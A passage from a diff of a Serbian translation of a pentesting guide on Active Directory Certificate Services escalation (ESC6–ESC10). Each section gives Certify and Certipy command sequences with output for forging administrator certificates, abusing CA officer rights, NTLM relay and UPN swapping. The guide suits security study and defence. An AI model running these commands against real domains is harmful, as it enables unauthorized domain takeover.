neprivilegovanih korisnika, kao što je standardni User template. Kao rezultat, može se dobiti sertifikat koji omogućava napadaču da se autentifikuje kao domain administrator ili **bilo koja druga aktivna entiteta** u domenu. -**Napomena**: Pristup dodavanju **alternative names** u a Certificate Signing Request (CSR), putem argumenta `-attrib "SAN:"` u `certreq.exe` (nazvanog “Name Value Pairs”), predstavlja kontrast u odnosu na strategiju eksploatacije SANs u ESC1. Ovde razlika leži u tome kako se informacije o nalogu enkapsuliraju — unutar certificate attribute, umesto kao extension. +**Note**: Pristup dodavanju **alternative names** u Certificate Signing Request (CSR), kroz argument `-attrib "SAN:"` u `certreq.exe` (nazvane “Name Value Pairs”), predstavlja **kontrast** u odnosu na strategiju iskorišćavanja SAN-ova u ESC1. Ovde je razlika u tome **kako su informacije o nalogu enkapsulirane**—u atribut sertifikata, umesto u ekstenziju. ### Zloupotreba -Da bi proverile da li je podešavanje aktivirano, organizacije mogu upotrebiti sledeću komandu sa `certutil.exe`: +Da bi proverile da li je podešavanje aktivirano, organizacije mogu koristiti sledeću komandu sa `certutil.exe`: ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Ova operacija u suštini koristi **remote registry access**, stoga, alternativni pristup može biti: +Ova operacija u suštini koristi **remote registry access**, stoga bi alternativni pristup mogao biti: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Alati kao [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) mogu да открију ovu pogrešnu konfiguraciju и iskoriste je: +Alati poput [**Certify**](https://github.com/GhostPack/Certify) i [**Certipy**](https://github.com/ly4k/Certipy) mogu otkriti ovu pogrešnu konfiguraciju i iskoristiti je: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -216,37 +214,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Da biste promenili ova podešavanja, pod pretpostavkom da posedujete **domain administrative** prava ili ekvivalent, sledeća komanda može biti izvršena sa bilo koje radne stanice: +Da biste promenili ova podešavanja, pod pretpostavkom da posedujete **administrativna prava domena** ili ekvivalentna, sledeću naredbu možete izvršiti sa bilo koje radne stanice: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Da biste onemogućili ovu konfiguraciju u vašem okruženju, zastavica se može ukloniti pomoću: +Da biste onemogućili ovu konfiguraciju u svom okruženju, zastavicu možete ukloniti pomoću: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Nakon bezbednosnih ažuriranja iz maja 2022, novo izdata **certificates** će sadržati **security extension** koji uključuje **requester's `objectSid` property**. Za ESC1, ovaj SID je izveden iz navedenog SAN-a. Međutim, za **ESC6**, SID odražava **requester's `objectSid`**, a ne SAN.\ -> Da bi se iskoristio ESC6, bitno je da sistem bude podložan ESC10 (Weak Certificate Mappings), koji daje prednost **SAN over the new security extension**. +> Nakon bezbednosnih ažuriranja iz maja 2022, novoizdate **certificates** će sadržavati **security extension** koji uključuje **requester's `objectSid` property`**. Za ESC1, ovaj SID se izvodi iz specificiranog SAN. Međutim, za **ESC6**, SID odražava **requester's `objectSid`**, a ne SAN.\ +> Da bi se iskoristio ESC6, neophodno je da sistem bude podložan ESC10 (Weak Certificate Mappings), koji daje prednost **SAN over the new security extension**. -## Ranljiv Certificate Authority Access Control - ESC7 +## Ranjiva Certificate Authority Access Control - ESC7 ### Napad 1 #### Objašnjenje -Kontrola pristupa za certificate authority održava se skupom dozvola koje upravljaju radnjama CA. Te dozvole se mogu pregledati otvaranjem `certsrv.msc`, desnim klikom na CA, izborom Properties, a zatim prelaskom na Security tab. Takođe, dozvole se mogu izbrojati korišćenjem PSPKI modula pomoću komandi kao što su: +Kontrola pristupa za certificate authority se održava skupom dozvola koje regulišu radnje CA. Ove dozvole se mogu pregledati pokretanjem `certsrv.msc`, desnim klikom na CA, izborom Properties, a zatim prelaskom na Security tab. Dodatno, dozvole se mogu izlistati koristeći PSPKI modul sa komandama kao što su: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` +Ovo daje uvid u primarna prava, naime **`ManageCA`** i **`ManageCertificates`**, koja odgovaraju ulogama „administrator CA” i „menadžer sertifikata”. + #### Zloupotreba -Posedovanje prava **`ManageCA`** nad sertifikacionom autoritetom omogućava entitetu da daljinski menja podešavanja koristeći PSPKI. To uključuje uključivanje/isključivanje zastavice **`EDITF_ATTRIBUTESUBJECTALTNAME2`** da bi se dozvolilo navođenje SAN-a u bilo kojem šablonu, što je kritičan aspekt eskalacije domena. +Imati **`ManageCA`** prava na sertifikacionom autoritetu omogućava subjektu da daljinski menja podešavanja koristeći PSPKI. To uključuje prebacivanje **`EDITF_ATTRIBUTESUBJECTALTNAME2`** oznake da dozvoli navođenje SAN u bilo kom šablonu, što je ključan aspekt eskalacije privilegija unutar domena. -Pojednostavljenje ovog procesa je izvodljivo upotrebom PSPKI-jevog cmdlet-a **Enable-PolicyModuleFlag**, što omogućava izmene bez direktne interakcije sa GUI-jem. +Pojednostavljenje ovog procesa moguće je korišćenjem PSPKI-jevog **Enable-PolicyModuleFlag** cmdlet-a, što omogućava izmene bez direktne interakcije sa GUI-jem. -Posedovanje prava **`ManageCertificates`** omogućava odobravanje čekajućih zahteva, efikasno zaobilazeći meru zaštite "CA certificate manager approval". +Posedovanje **`ManageCertificates`** prava olakšava odobravanje zahteva na čekanju, efikasno zaobilazeći zaštitu "CA certificate manager approval". -Kombinacija modula **Certify** i **PSPKI** može se koristiti za podnošenje zahteva, odobravanje i preuzimanje sertifikata: +Kombinacija **Certify** i **PSPKI** modula može se koristiti za zahtev, odobrenje i preuzimanje sertifikata: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -262,33 +262,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attack 2 +### Napad 2 -#### Explanation +#### Objašnjenje > [!WARNING] -> U **prethodnom napadu** **`Manage CA`** permissions su korišćene da **omoguće** zastavicu **EDITF_ATTRIBUTESUBJECTALTNAME2** kako bi se izveo **ESC6 attack**, ali to neće imati efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima pristupno pravo `Manage CA`, korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može restartovati servis na daljinu**. Nadalje, E**SC6 možda neće raditi odmah** u većini zakrpanih okruženja zbog bezbednosnih ažuriranja iz maja 2022. +> U **prethodnom napadu** **`Manage CA`** dozvole su korišćene da **omoguće** flag **EDITF_ATTRIBUTESUBJECTALTNAME2** za izvođenje **ESC6 attack**, ali ovo neće imati efekta dok se CA servis (`CertSvc`) ne restartuje. Kada korisnik ima `Manage CA` pravo pristupa, tom korisniku je takođe dozvoljeno da **restartuje servis**. Međutim, to **ne znači da korisnik može restartovati servis udaljeno**. Nadalje, E**SC6 možda neće raditi odmah** u većini ažuriranih okruženja zbog bezbednosnih ažuriranja iz maja 2022. -Zbog toga se ovde prikazuje drugi napad. +Stoga je ovde predstavljen drugi napad. -Perquisites: +Preduslovi: -- Samo **`ManageCA` permission** -- **`Manage Certificates`** permission (može se dodeliti iz **`ManageCA`**) -- Šablon sertifikata **`SubCA`** mora biti **enabled** (može se enabled iz **`ManageCA`**) +- Samo **`ManageCA` dozvola** +- **`Manage Certificates`** dozvola (može se dodeliti iz **`ManageCA`**) +- Šablon sertifikata **`SubCA`** mora biti **omogućen** (može se omogućiti iz **`ManageCA`**) -Tehnika se oslanja na činjenicu da korisnici sa pristupnim pravima `Manage CA` _i_ `Manage Certificates` mogu **kreirati neuspešne zahteve za sertifikat**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu koristeći taj šablon. Dakle, **korisnik** može **zatražiti** upis u **`SubCA`** - što će biti **odbijeno** - ali će ga potom **menadžer izdati naknadno**. +Tehnika se zasniva na činjenici da korisnici sa `Manage CA` _i_ `Manage Certificates` pravom pristupa mogu **podneti neuspešne zahteve za sertifikat**. Šablon sertifikata **`SubCA`** je **ranjiv na ESC1**, ali **samo administratori** mogu da se upišu u šablon. Dakle, **korisnik** može **zatražiti** upis u **`SubCA`** — što će biti **odbijeno** — ali će **naknadno biti izdat od strane menadžera**. -#### Abuse +#### Zloupotreba -Možete sebi dodeliti pristupno pravo **`Manage Certificates`** tako što ćete svog korisnika dodati kao novog službenika. +Možete sebi **dodeliti `Manage Certificates`** pravo pristupa dodavanjem svog korisnika kao novog službenika. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Šablon **`SubCA`** može biti **omogućen na CA** korišćenjem parametra `-enable-template`. Podrazumevano, šablon `SubCA` je omogućen. +Šablon **`SubCA`** može biti **omogućen na CA** pomoću parametra `-enable-template`. Podrazumevano, šablon `SubCA` je omogućen. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -300,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevanjem sertifikata zasnovanog na predlošku `SubCA`**. +Ako smo ispunili preduslove za ovaj napad, možemo početi sa **zahtevanjem sertifikata zasnovanog na `SubCA` šablonu**. -**Ovaj zahtev će biti odbijen**, ali ćemo sačuvati private key i zabeležiti request ID. +**Ovaj zahtev će biti odbij**en, ali sačuvaćemo privatni ključ i zabeležiti ID zahteva. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -314,14 +314,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Sa našim **`Manage CA` i `Manage Certificates`**, možemo zatim izdati neuspešan zahtev za sertifikat pomoću komande `ca` i parametra `-issue-request `. +Sa našim **`Manage CA` and `Manage Certificates`**, možemo potom **izdati prethodno neuspeo zahtev za sertifikat** pomoću komande `ca` i parametra `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Na kraju, možemo da **preuzmemo izdat sertifikat** pomoću `req` komande i parametra `-retrieve `. +I na kraju, možemo **preuzeti izdat sertifikat** pomoću `req` komande i parametra `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -333,83 +333,83 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Napad 3 – Manage Certificates Extension Abuse (SetExtension) +### Napad 3 – Abuziranje ekstenzije Manage Certificates (SetExtension) #### Objašnjenje -Pored klasičnih ESC7 zloupotreba (omogućavanje EDITF atributa ili odobravanje pending zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) na Enterprise CA. +Pored klasičnih ESC7 zloupotreba (omogućavanje EDITF atributa ili odobravanje pending zahteva), **Certify 2.0** je otkrio potpuno novu primitivu koja zahteva samo ulogu *Manage Certificates* (poznatu i kao **Certificate Manager / Officer**) na Enterprise CA. -Metod RPC `ICertAdmin::SetExtension` može da izvrši bilo koji principal koji poseduje *Manage Certificates*. Dok se metod tradicionalno koristio od strane legitimnih CA da ažurira ekstenzije na **pending** zahtevima, napadač ga može zloupotrebiti da **doda *non-default* certificate extension** (na primer custom *Certificate Issuance Policy* OID kao `1.1.1.1`) na zahtev koji čeka odobrenje. +Metod RPC `ICertAdmin::SetExtension` može da izvrši bilo koji principal koji ima *Manage Certificates*. Dok je metod tradicionalno korišćen od strane legitimnih CA za ažuriranje ekstenzija na **pending** zahtevima, napadač ga može zloupotrebiti da **doda *nepodrazumevanu* ekstenziju sertifikata** (na primer prilagođeni *Certificate Issuance Policy* OID kao `1.1.1.1`) na zahtev koji čeka odobrenje. -Pošto ciljani template **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada zahtev bude konačno izdat. Rezultujući sertifikat stoga sadrži napadačem izabranu ekstenziju koja može: +Pošto ciljani template **ne definiše podrazumevanu vrednost za tu ekstenziju**, CA NEĆE prepisati vrednost koju kontroliše napadač kada se zahtev konačno izdaje. Rezultujući sertifikat zato sadrži napadačem izabranu ekstenziju koja može: -* Zadovoljiti Application / Issuance Policy zahteve drugih ranjivih template-a (vodeći do eskalacije privilegija). -* Ubaciti dodatne EKU ili politike koje dodeljuju sertifikatu neočekivano poverenje u third-party sistemima. +* Zadovoljiti zahteve Application / Issuance Policy drugih ranjivih template-a (što vodi do eskalacije privilegija). +* Ubaciti dodatne EKU-e ili politike koje daju sertifikatu neočekivano poverenje u sistemima trećih strana. -Ukratko, *Manage Certificates* — ranije smatrana „manje moćnom“ polovicom ESC7 — sada se može iskoristiti za punu eskalaciju privilegija ili dugoročnu persistenciju, bez diranja CA konfiguracije ili potrebe za restriktivnijim pravom *Manage CA*. +Ukratko, *Manage Certificates* – ranije smatrano „manje moćnom“ polovinom ESC7 – sada se može iskoristiti za potpunu eskalaciju privilegija ili dugotrajnu persistenciju, bez menjanja konfiguracije CA ili potrebe za strožim pravom *Manage CA*. #### Abuziranje primitive sa Certify 2.0 -1. **Podnesite certificate request koji će ostati *pending*.** Ovo se može forsirati template-om koji zahteva manager approval: +1. **Podnesite zahtev za sertifikat koji će ostati *pending*.** Ovo se može prisiliti template-om koji zahteva odobrenje menadžera: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID ``` -2. **Dodajte custom ekstenziju na pending zahtev** koristeći novi `manage-ca` komand: +2. **Dodajte prilagođenu ekstenziju na pending zahtev** koristeći novu `manage-ca` komandu: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Ako template već ne definiše *Certificate Issuance Policies* ekstenziju, vrednost iznad će biti sačuvana nakon izdavanja.* +*Ako template već ne definiše ekstenziju *Certificate Issuance Policies*, vrednost iznad će biti sačuvana nakon izdavanja.* -3. **Izdajte zahtev** (ako vaša uloga takođe ima odobrenja za *Manage Certificates*) ili sačekajte da operator odobri. Kada bude izdat, preuzmite sertifikat: +3. **Izdajte zahtev** (ako vaša uloga takođe ima odobravanje *Manage Certificates*) ili sačekajte da ga operator odobri. Kada se izda, skinite sertifikat: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Rezultujući sertifikat sada sadrži maliciozni issuance-policy OID i može se koristiti u narednim napadima (npr. ESC13, domain escalation, itd.). +4. Rezultujući sertifikat sada sadrži zlonamerni issuance-policy OID i može se koristiti u narednim napadima (npr. ESC13, domain escalation, itd.). -> NOTE: Isti napad se može izvesti sa Certipy ≥ 4.7 preko `ca` komande i `-set-extension` parametra. +> NOTE: Isti napad se može izvesti i sa Certipy ≥ 4.7 preko `ca` komande i `-set-extension` parametra. -## NTLM Relay to AD CS HTTP Endpoints – ESC8 +## NTLM Relay na AD CS HTTP endpoint-e – ESC8 ### Objašnjenje > [!TIP] -> U okruženjima gde je **AD CS instaliran**, ako postoji **vulnerable web enrollment endpoint** i bar jedan **certificate template je published** koji dozvoljava **domain computer enrollment i client authentication** (kao default **`Machine`** template), postaje moguće da **bilo koji računar sa aktivnim spooler servisom bude kompromitovan od strane napadača**! +> U okruženjima gde je **AD CS instaliran**, ako postoji ranjiv **web enrollment endpoint** i bar jedan **certificate template je objavljen** koji dozvoljava **domain computer enrollment i client authentication** (kao podrazumevani **`Machine`** template), postaje moguće da **bilo koji računar sa aktivnim spooler servisom bude kompromitovan od strane napadača**! -AD CS podržava nekoliko **HTTP-based enrollment metoda**, dostupnih kroz dodatne server role koje administratori mogu instalirati. Ovi interfejsi za HTTP-based certificate enrollment su podložni **NTLM relay** napadima. Napadač, sa **kompromitovane mašine, može imitirati bilo koji AD nalog koji se autentifikuje putem inbound NTLM**. Dok se lažno predstavlja kao žrtva, ove web interfejse napadač može koristiti da **zahteva client authentication certificate koristeći `User` ili `Machine` certificate template-e**. +AD CS podržava više **HTTP-based enrollment** metoda, dostupnih kroz dodatne serverske role koje administratori mogu instalirati. Ovi HTTP interfejsi za enrolment su podložni **NTLM relay attacks**. Napadač, sa kompromitovane mašine, može se lažno predstaviti kao bilo koji AD nalog koji se autentifikuje putem dolaznog NTLM-a. Dok se predstavlja kao žrtva, napadač može pristupiti ovim web interfejsima da **zatraži client authentication sertifikat koristeći `User` ili `Machine` certificate template-e**. -- **web enrollment interface** (starija ASP aplikacija dostupna na `http:///certsrv/`), podrazumevano radi samo preko HTTP, što ne pruža zaštitu protiv NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentikaciju kroz Authorization HTTP header, čineći sigurnije metode autentikacije kao Kerberos neprimenjivim. -- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, i **Network Device Enrollment Service** (NDES) podrazumevano podržavaju negotiate autentikaciju preko svog Authorization HTTP header-a. Negotiate autentikacija **podržava i** Kerberos i **NTLM**, što napadaču omogućava da tokom relay napada **downgrade-uje na NTLM**. Iako ovi web servisi po default-u omogućavaju HTTPS, sam HTTPS **ne štiti od NTLM relay napada**. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada je HTTPS kombinovan sa channel binding. Nažalost, AD CS ne aktivira Extended Protection for Authentication na IIS-u, što je potrebno za channel binding. +- **web enrollment interface** (starija ASP aplikacija dostupna na `http:///certsrv/`) po defaultu koristi samo HTTP, što ne pruža zaštitu protiv NTLM relay napada. Dodatno, eksplicitno dozvoljava samo NTLM autentikaciju kroz Authorization HTTP header, što onemogućava sigurnije metode autentikacije poput Kerberos-a. +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, i **Network Device Enrollment Service** (NDES) po defaultu podržavaju negotiate autentikaciju preko Authorization HTTP header-a. Negotiate autentikacija **podržava i** Kerberos i **NTLM**, omogućavajući napadaču da se tokom relay napada **svede na NTLM**. Iako ovi web servisi podrazumevano omogućavaju HTTPS, sam HTTPS **ne štiti od NTLM relay napada**. Zaštita od NTLM relay napada za HTTPS servise je moguća samo kada je HTTPS kombinovan sa channel binding. Nažalost, AD CS ne aktivira Extended Protection for Authentication na IIS-u, što je potrebno za channel binding. -Uobičajen **problem** kod NTLM relay napada je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa servisima koji **zahtevaju NTLM signing**. +Čest problem kod NTLM relay napada je **kratko trajanje NTLM sesija** i nemogućnost napadača da interaguje sa servisima koji zahtevaju NTLM signing. -Ipak, ovo ograničenje je prevaziđeno iskorišćavanjem NTLM relay napada da se pribavi sertifikat za korisnika, pošto period važenja sertifikata određuje trajanje sesije, i sertifikat se može koristiti sa servisima koji **zahtevaju NTLM signing**. Za instrukcije o korišćenju ukradenog sertifikata, pogledajte: +Ipak, ovo ograničenje može se prevazići iskorišćavanjem NTLM relay napada da se pribavi sertifikat za korisnika, jer period važenja tog sertifikata određuje trajanje sesije, i sertifikat se može koristiti sa servisima koji **zahtevaju NTLM signing**. Za uputstva o korišćenju ukradenog sertifikata, pogledajte: {{#ref}} account-persistence.md {{#endref}} -Joše jedno ograničenje NTLM relay napada je da **mašina pod kontrolom napadača mora biti autentifikovana od strane žrtvinog naloga**. Napadač može ili da sačeka ili pokuša da to autentifikovanje **forsira**: +Još jedno ograničenje NTLM relay napada je to što **mašina kojom napadač kontroliše mora biti autentifikovana od strane žrtvinog naloga**. Napadač može ili sačekati ili pokušati da **forsira** tu autentikaciju: {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Abuziranje** +### **Zloupotreba** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumeriše **omogućene HTTP AD CS endpoint-e**: ``` Certify.exe cas ```
-Svojstvo `msPKI-Enrollment-Servers` koristi se od strane enterprise Certificate Authorities (CAs) za čuvanje Certificate Enrollment Service (CES) krajnjih tačaka. Ove krajnje tačke mogu se parsirati i nabrojati korišćenjem alata **Certutil.exe**: +Svojstvo `msPKI-Enrollment-Servers` koristi se kod enterprise sertifikacionih autoriteta (CAs) za čuvanje Certificate Enrollment Service (CES) endpointa. Ovi endpointi se mogu parsirati i navesti korišćenjem alata **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -437,9 +437,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Zloupotreba sa [Certipy](https://github.com/ly4k/Certipy) -Zahtjev za sertifikat Certipy podrazumevano pravi na osnovu template-a `Machine` ili `User`, što se određuje time da li ime naloga koje se prosleđuje završava sa `$`. Navođenje alternativnog template-a može se postići korišćenjem parametra `-template`. +Zahtev za sertifikat se podrazumevano pravi pomoću Certipy na osnovu templata `Machine` ili `User`, što se određuje time da li ime naloga koji se prosleđuje završava sa `$`. Navođenje alternativnog templata može se postići korišćenjem parametra `-template`. -Tehnika kao [PetitPotam](https://github.com/ly4k/PetitPotam) može se potom upotrebiti da prisili autentifikaciju. Kod domain controllera potrebno je navesti `-template DomainController`. +Tehnika kao što je [PetitPotam](https://github.com/ly4k/PetitPotam) može se potom upotrebiti za prisiljavanje autentikacije. Kod rada sa domain controller-ima potrebno je navesti `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -452,55 +452,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## Bez bezbednosnog proširenja - ESC9 +## Bez sigurnosnog proširenja - ESC9 ### Objašnjenje -Novi atribut **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, nazvan ESC9, sprečava ugradnju **nove `szOID_NTDS_CA_SECURITY_EXT` bezbednosne ekstenzije** u sertifikat. Ovaj flag postaje relevantan kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevana vrednost), za razliku od podešavanja `2`. Njegova važnost se povećava u scenarijima gde bi slabije mapiranje sertifikata za Kerberos ili Schannel moglo biti iskorišćeno (kao u ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve. +Nova vrednost **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, nazvana ESC9, sprečava ugrađivanje **novog `szOID_NTDS_CA_SECURITY_EXT` sigurnosnog proširenja** u sertifikat. Ovaj flag postaje relevantan kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevana vrednost), za razliku od podešavanja `2`. Njegova važnost raste u scenarijima gde slabije mapiranje sertifikata za Kerberos ili Schannel može biti iskorišćeno (kao kod ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve. -Uslovi pod kojima podešavanje ovog flaga postaje značajno uključuju: +Uslovi pod kojima postavka ovog flaga postaje značajna uključuju: -- `StrongCertificateBindingEnforcement` nije podešen na `2` (podrazumevano `1`), ili `CertificateMappingMethods` uključuje `UPN` flag. -- Sertifikat je označen `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru podešavanja `msPKI-Enrollment-Flag`. -- Bilo koji client authentication EKU je naveden u sertifikatu. -- `GenericWrite` dozvole su dostupne nad bilo kojim nalogom za kompromitovanje drugog. +- `StrongCertificateBindingEnforcement` nije podešen na `2` (podrazumevano `1`), ili `CertificateMappingMethods` uključuje flag `UPN`. +- Sertifikat je označen sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u `msPKI-Enrollment-Flag` podešavanju. +- Sertifikat navodi bilo koji client authentication EKU. +- `GenericWrite` dozvole su dostupne nad bilo kojim nalogom da bi se kompromitovao drugi. ### Scenarij zloupotrebe -Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, s ciljem da kompromituje `Administrator@corp.local`. `ESC9` šablon sertifikata, za koji je `Jane@corp.local` ovlašćena da se prijavi, konfigurisan je sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru `msPKI-Enrollment-Flag` podešavanja. +Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, sa ciljem kompromitovanja `Administrator@corp.local`. `ESC9` šablon sertifikata, za koji `Jane@corp.local` sme da se registruje, je konfigurisan sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u svom `msPKI-Enrollment-Flag` podešavanju. -U početku, hash od `Jane` se dobija koristeći Shadow Credentials, zahvaljujući `John`-ovim `GenericWrite` dozvolama: +U početku se hash `Jane` dobija koristeći Shadow Credentials, zahvaljujući `John`-ovom `GenericWrite`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Naknadno, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno izostavljajući deo domene `@corp.local`: +Nakon toga, `userPrincipalName` korisnice `Jane` je izmenjen u `Administrator`, namerno izostavljajući deo domene `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ova izmena ne krši ograničenja, s obzirom da `Administrator@corp.local` ostaje različit kao `Administrator`ov `userPrincipalName`. +Ova izmena ne krši ograničenja, s obzirom da `Administrator@corp.local` ostaje različit kao `Administrator`-ov `userPrincipalName`. Nakon toga, `ESC9` šablon sertifikata, označen kao ranjiv, je zatražen kao `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Primećeno je da sertifikatov `userPrincipalName` prikazuje `Administrator`, bez bilo kakvog “object SID”. +Primećeno je da `userPrincipalName` sertifikata prikazuje `Administrator`, bez ikakvog “object SID”. -`Jane`-in `userPrincipalName` se zatim vraća na njen original, `Jane@corp.local`: +`userPrincipalName` korisnice `Jane` je potom vraćen na njen originalni, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Pokušaj autentifikacije izdatim sertifikatom sada vraća NT hash korisnika `Administrator@corp.local`. Komanda mora uključivati `-domain ` zbog toga što sertifikat nema specificiran domen: +Pokušaj autentifikacije izdatim sertifikatom sada vraća NT hash za `Administrator@corp.local`. Komanda mora da sadrži `-domain ` zbog toga što sertifikat nema navedenu domenu: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Slabo mapiranje sertifikata - ESC10 +## Slaba mapiranja sertifikata - ESC10 ### Objašnjenje -ESC10 se odnosi na dve vrednosti Windows Registry ključa na kontroleru domena: +ESC10 se odnosi na dve vrednosti registarskog ključa na domain controller-u: -- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), ranije postavljena na `0x1F`. -- Podrazumevano podešavanje za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, ranije `0`. +- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), prethodno podešena na `0x1F`. +- Podrazumevano podešavanje za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, prethodno `0`. ### Slučaj 1 @@ -510,69 +510,69 @@ Kada je `StrongCertificateBindingEnforcement` konfigurisano kao `0`. Ako `CertificateMappingMethods` uključuje `UPN` bit (`0x4`). -### Zloupotreba - Slučaj 1 +### Zloupotreba - slučaj 1 -Ako je `StrongCertificateBindingEnforcement` podešen na `0`, nalog A sa `GenericWrite` dozvolama može se iskoristiti da kompromituje bilo koji nalog B. +Ako je `StrongCertificateBindingEnforcement` podešeno na `0`, nalog A sa `GenericWrite` privilegijama može biti iskorišćen da kompromituje bilo koji nalog B. -Na primer, ako napadač ima `GenericWrite` dozvole nad `Jane@corp.local`, cilj mu je da kompromituje `Administrator@corp.local`. Postupak je isti kao kod ESC9, što omogućava korišćenje bilo kojeg šablona sertifikata. +Na primer, ako ima `GenericWrite` privilegije nad `Jane@corp.local`, napadač cilja kompromitovanje `Administrator@corp.local`. Procedura je ista kao kod ESC9, što omogućava upotrebu bilo kojeg certificate template. -U početku se hash `Jane` dobija korišćenjem Shadow Credentials, iskorišćavajući `GenericWrite`. +Na početku se hash od `Jane` dobija korišćenjem Shadow Credentials, iskorišćavanjem `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Nakon toga, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno 